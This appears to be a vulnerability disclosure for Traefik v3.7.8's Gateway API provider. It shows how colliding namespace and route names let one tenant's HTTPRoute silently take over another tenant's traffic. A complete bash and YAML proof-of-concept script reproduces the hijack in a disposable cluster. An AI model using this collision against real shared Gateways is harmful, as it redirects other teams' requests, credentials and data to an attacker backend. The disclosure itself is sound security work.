Traefik: Gateway API route identity collision allows cross-namespace backend hijacking

Normalize replaces non-alphanumeric runs with -, but it does not encode field lengths or otherwise preserve component boundaries:

func Normalize(name string) string {
	fargs := func(c rune) bool {
		return !unicode.IsLetter(c) && !unicode.IsNumber(c)
	}
	return strings.Join(strings.FieldsFunc(name, fargs), "-")
}

These distinct objects therefore have the same normalized key:

namespace=team,   route=a-app
namespace=team-a, route=app

httproute-team-a-app-gw-gateway-shared-ep-web-0

makeRouterName adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity.

Each Route is built into a temporary configuration and then merged into the provider-wide configuration with maps.Copy:

maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)

maps.Copy replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path.

Attack prerequisites

The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace.

Proof of Concept

Prerequisites:

• a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;
• kubectl configured for that cluster;
• curl;
• local TCP port 18080 available.

The following script embeds all objects used by the reproduction. It runs the official traefik:v3.7.8 image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request.

#!/usr/bin/env bash
set -euo pipefail

kubectl apply -f - <<'YAML'
apiVersion: v1
kind: Namespace
metadata:
  name: gateway
---
apiVersion: v1
kind: Namespace
metadata:
  name: team
---
apiVersion: v1
kind: Namespace
metadata:
  name: team-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: traefik-audit
  namespace: gateway
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: traefik-route-collision-lab
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: traefik-audit
  namespace: gateway
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: traefik-audit
  namespace: gateway
spec:
  replicas: 1
  selector:
    matchLabels:
      app: traefik-audit
  template:
    metadata:
      labels:
        app: traefik-audit
    spec:
      serviceAccountName: traefik-audit
      containers:
      - name: traefik
        image: traefik:v3.7.8
        args:
        - --entryPoints.web.address=:8000
        - --providers.kubernetesgateway=true
        - --global.checkNewVersion=false
        - --global.sendAnonymousUsage=false
        - --log.level=ERROR
        ports:
        - name: web
          containerPort: 8000
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: traefik-route-collision-lab
spec:
  controllerName: traefik.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: shared
  namespace: gateway
spec:
  gatewayClassName: traefik-route-collision-lab
  listeners:
  - name: web
    protocol: HTTP
    port: 8000
    allowedRoutes:
      namespaces:
        from: All
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: team
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=VICTIM_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team
spec:
  selector:
    app: victim
  ports:
  - port: 80
    targetPort: 5678
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: a-app
  namespace: team
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s
kubectl -n team rollout status deployment/victim --timeout=120s

kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \
  >/dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"

sleep 2

kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: attacker
  namespace: team-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: attacker
  template:
    metadata:
      labels:
        app: attacker
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=ATTACKER_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team-a
spec:
  selector:
    app: attacker
  ports:
  - port: 80
    targetPort: 5678
YAML

kubectl -n team-a rollout status deployment/attacker --timeout=120s

kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: app
  namespace: team-a
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'after collision:  %s\n' "$RESPONSE"

kubectl get httproute -A --sort-by=.metadata.creationTimestamp

Expected output on v3.7.8:

before collision: VICTIM_BACKEND
after collision:  ATTACKER_BACKEND
NAMESPACE   NAME    HOSTNAMES
team        a-app   ["collision.example"]
team-a      app     ["collision.example"]

The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.

Impact

In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating.